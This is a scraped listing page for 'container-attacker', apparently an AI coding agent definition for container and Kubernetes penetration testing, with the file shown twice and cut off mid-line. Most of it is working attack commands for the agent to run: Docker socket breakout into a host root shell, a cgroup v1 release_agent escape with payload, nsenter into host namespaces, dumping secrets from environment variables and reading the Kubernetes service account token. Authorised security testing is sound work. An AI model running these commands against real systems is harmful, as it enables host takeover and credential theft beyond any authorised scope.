container-attacker

Name: container-attacker
Author: mukul975

60stars17forks

How to install container-attacker?

mukul975/threatswarm/container-attacker

$curl -o .claude/agents/container-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/container-attacker.md

Installs into the current project.

Summary

Container and Kubernetes security specialist. Handles Docker escape techniques, Kubernetes RBAC abuse, service account token theft, kubelet API exploitation, etcd access, namespace breakout, and cloud-to-container pivot chains. Triggers on: docker, container, Kubernetes, k8s, pod

Files · 1

View on GitHub

.claude/agents/container-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting container or Kubernetes testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-kubernetes-penetration-testing`
5	- `cybersecurity-skills:performing-container-escape-detection`
6	- `cybersecurity-skills:auditing-kubernetes-cluster-rbac`
7	- `cybersecurity-skills:scanning-docker-images-with-trivy`
8	- `cybersecurity-skills:performing-docker-bench-security-assessment`
9	- `cybersecurity-skills:detecting-container-escape-with-falco-rules`
10	- `cybersecurity-skills:detecting-privilege-escalation-in-kubernetes-pods`
11	- `cybersecurity-skills:performing-kubernetes-etcd-security-assessment`
12
13	## Scope Enforcement
14	Verify container registry, cluster API endpoint, or namespace is in scope.txt.
15	Container escapes affect the HOST — confirm host is also in scope.
16	Document the container ID and base image before any escape attempt.
17
18	## Docker Enumeration
19
20	### Container Context Discovery
21	```bash
22	# Am I in a container?
23	cat /proc/1/cgroup 2>/dev/null \| grep -i docker
24	ls -la /.dockerenv 2>/dev/null && echo "In Docker container"
25	cat /proc/self/mountinfo \| grep docker
26	hostname && uname -r
27
28	# What capabilities do I have?
29	cat /proc/self/status \| grep Cap
30	# Decode: capsh --decode=$(grep CapEff /proc/self/status \| awk '{print $2}')
31	capsh --print 2>/dev/null
32
33	# Check mounted volumes
34	mount \| grep -v "proc\\|sys\\|dev\\|cgroup"
35	df -h \| grep -v tmpfs
36
37	# Check for docker socket
38	find / -name "docker.sock" 2>/dev/null
39	ls -la /var/run/docker.sock 2>/dev/null
40	ls -la /run/docker.sock 2>/dev/null
41
42	# Environment variables (may contain secrets)
43	env \| grep -iE "password\|secret\|key\|token\|api\|aws\|azure\|gcp\|db" \| \
44	tee /tmp/env_secrets.txt
45	```
46
47	### Docker Socket Escape
48	```bash
49	# Verify docker socket is accessible
50	curl -s --unix-socket /var/run/docker.sock \
51	http://localhost/info \| python3 -m json.tool 2>&1
52
53	# List images on host
54	curl -s --unix-socket /var/run/docker.sock \
55	http://localhost/images/json \| python3 -m json.tool 2>&1
56
57	# Container breakout via docker socket — mount host FS
58	docker -H unix:///var/run/docker.sock run \
59	-v /:/host \
60	--rm \
61	-it alpine \
62	chroot /host /bin/bash
63
64	# Alternative: create container with --privileged + host network
65	docker -H unix:///var/run/docker.sock run \
66	-d \
67	--privileged \
68	--net=host \
69	--pid=host \
70	-v /:/host \
71	alpine \
72	tail -f /dev/null
73
74	# Get shell in that container
75	CONTAINER_ID=$(docker -H unix:///var/run/docker.sock ps -q \| tail -1)
76	docker -H unix:///var/run/docker.sock exec -it $CONTAINER_ID chroot /host /bin/bash
77	```
78
79	### Privileged Container Escape (cgroup v1)
80	```bash
81	# Check if privileged
82	cat /proc/self/status \| grep CapEff
83	# CapEff: 0000003fffffffff = fully privileged
84
85	# cgroup v1 release_agent escape (classic technique)
86	mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
87	echo 1 > /tmp/cgrp/x/notify_on_release
88	host_path=$(sed -n 's/.\perdir=$[^,]$.*/\1/p' /etc/mtab)
89	echo "$host_path/cmd" > /tmp/cgrp/release_agent
90
91	# Write payload
92	echo '#!/bin/sh' > /cmd
93	echo "id > $host_path/output" >> /cmd
94	chmod a+x /cmd
95
96	# Trigger (run process in cgroup and let it die)
97	sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
98	cat /output # should show root@host
99
100	# Namespace escape — mount procfs namespace
101	nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
102	```
103
104	### Docker Image Analysis
105	```bash
106	# Pull and inspect image for secrets
107	docker pull $TARGET_IMAGE 2>&1
108	docker inspect $TARGET_IMAGE 2>&1 \| \
109	tee evidence/$(date +%Y%m%d)/$TARGET/container/image_inspect.json
110	docker history $TARGET_IMAGE --no-trunc 2>&1 \| \
111	tee evidence/$(date +%Y%m%d)/$TARGET/container/image_history.txt
112
113	# Extract filesystem layers for analysis
114	docker save $TARGET_IMAGE -o /tmp/image.tar 2>&1
115	mkdir -p /tmp/image_extract && tar -xf /tmp/image.tar -C /tmp/image_extract/
116	find /tmp/image_extract/ -name "*.tar" \| while read layer; do
117	tar -tvf "$layer" 2>/dev/null \| grep -iE "password\|secret\|key\|\.env\|credentials" \|\| true
118	done
119
120	# Trivy container image scan
121	trivy image $TARGET_IMAGE \
122	--severity CRITICAL,HIGH \
123	--format json \
124	--output evidence/$(date +%Y%m%d)/$TARGET/container/trivy_image.json \
125	2>&1
126
127	# Hadolint Dockerfile linting
128	hadolint Dockerfile 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/container/hadolint.txt
129	```
130
131	## Kubernetes Enumeration
132
133	### Cluster Discovery from Inside Pod
134	```bash
135	# Service account token (auto-mounted in pods)
136	SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
137	CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
138	NAMESPACE=

People who liked this also viewed

6 picks

Type

container-attacker

60stars17forks

View on GitHub

How to install container-attacker?

mukul975/threatswarm/container-attacker

$curl -o .claude/agents/container-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/container-attacker.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/container-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting container or Kubernetes testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-kubernetes-penetration-testing`
5	- `cybersecurity-skills:performing-container-escape-detection`
6	- `cybersecurity-skills:auditing-kubernetes-cluster-rbac`
7	- `cybersecurity-skills:scanning-docker-images-with-trivy`
8	- `cybersecurity-skills:performing-docker-bench-security-assessment`
9	- `cybersecurity-skills:detecting-container-escape-with-falco-rules`
10	- `cybersecurity-skills:detecting-privilege-escalation-in-kubernetes-pods`
11	- `cybersecurity-skills:performing-kubernetes-etcd-security-assessment`
12
13	## Scope Enforcement
14	Verify container registry, cluster API endpoint, or namespace is in scope.txt.
15	Container escapes affect the HOST — confirm host is also in scope.
16	Document the container ID and base image before any escape attempt.
17
18	## Docker Enumeration
19
20	### Container Context Discovery
21	```bash
22	# Am I in a container?
23	cat /proc/1/cgroup 2>/dev/null \| grep -i docker
24	ls -la /.dockerenv 2>/dev/null && echo "In Docker container"
25	cat /proc/self/mountinfo \| grep docker
26	hostname && uname -r
27
28	# What capabilities do I have?
29	cat /proc/self/status \| grep Cap
30	# Decode: capsh --decode=$(grep CapEff /proc/self/status \| awk '{print $2}')
31	capsh --print 2>/dev/null
32
33	# Check mounted volumes
34	mount \| grep -v "proc\\|sys\\|dev\\|cgroup"
35	df -h \| grep -v tmpfs
36
37	# Check for docker socket
38	find / -name "docker.sock" 2>/dev/null
39	ls -la /var/run/docker.sock 2>/dev/null
40	ls -la /run/docker.sock 2>/dev/null
41
42	# Environment variables (may contain secrets)
43	env \| grep -iE "password\|secret\|key\|token\|api\|aws\|azure\|gcp\|db" \| \
44	tee /tmp/env_secrets.txt
45	```
46
47	### Docker Socket Escape
48	```bash
49	# Verify docker socket is accessible
50	curl -s --unix-socket /var/run/docker.sock \
51	http://localhost/info \| python3 -m json.tool 2>&1
52
53	# List images on host
54	curl -s --unix-socket /var/run/docker.sock \
55	http://localhost/images/json \| python3 -m json.tool 2>&1
56
57	# Container breakout via docker socket — mount host FS
58	docker -H unix:///var/run/docker.sock run \
59	-v /:/host \
60	--rm \
61	-it alpine \
62	chroot /host /bin/bash
63
64	# Alternative: create container with --privileged + host network
65	docker -H unix:///var/run/docker.sock run \
66	-d \
67	--privileged \
68	--net=host \
69	--pid=host \
70	-v /:/host \
71	alpine \
72	tail -f /dev/null
73
74	# Get shell in that container
75	CONTAINER_ID=$(docker -H unix:///var/run/docker.sock ps -q \| tail -1)
76	docker -H unix:///var/run/docker.sock exec -it $CONTAINER_ID chroot /host /bin/bash
77	```
78
79	### Privileged Container Escape (cgroup v1)
80	```bash
81	# Check if privileged
82	cat /proc/self/status \| grep CapEff
83	# CapEff: 0000003fffffffff = fully privileged
84
85	# cgroup v1 release_agent escape (classic technique)
86	mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
87	echo 1 > /tmp/cgrp/x/notify_on_release
88	host_path=$(sed -n 's/.\perdir=$[^,]$.*/\1/p' /etc/mtab)
89	echo "$host_path/cmd" > /tmp/cgrp/release_agent
90
91	# Write payload
92	echo '#!/bin/sh' > /cmd
93	echo "id > $host_path/output" >> /cmd
94	chmod a+x /cmd
95
96	# Trigger (run process in cgroup and let it die)
97	sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
98	cat /output # should show root@host
99
100	# Namespace escape — mount procfs namespace
101	nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
102	```
103
104	### Docker Image Analysis
105	```bash
106	# Pull and inspect image for secrets
107	docker pull $TARGET_IMAGE 2>&1
108	docker inspect $TARGET_IMAGE 2>&1 \| \
109	tee evidence/$(date +%Y%m%d)/$TARGET/container/image_inspect.json
110	docker history $TARGET_IMAGE --no-trunc 2>&1 \| \
111	tee evidence/$(date +%Y%m%d)/$TARGET/container/image_history.txt
112
113	# Extract filesystem layers for analysis
114	docker save $TARGET_IMAGE -o /tmp/image.tar 2>&1
115	mkdir -p /tmp/image_extract && tar -xf /tmp/image.tar -C /tmp/image_extract/
116	find /tmp/image_extract/ -name "*.tar" \| while read layer; do
117	tar -tvf "$layer" 2>/dev/null \| grep -iE "password\|secret\|key\|\.env\|credentials" \|\| true
118	done
119
120	# Trivy container image scan
121	trivy image $TARGET_IMAGE \
122	--severity CRITICAL,HIGH \
123	--format json \
124	--output evidence/$(date +%Y%m%d)/$TARGET/container/trivy_image.json \
125	2>&1
126
127	# Hadolint Dockerfile linting
128	hadolint Dockerfile 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/container/hadolint.txt
129	```
130
131	## Kubernetes Enumeration
132
133	### Cluster Discovery from Inside Pod
134	```bash
135	# Service account token (auto-mounted in pods)
136	SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
137	CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
138	NAMESPACE=

People who liked this also viewed

6 picks

Type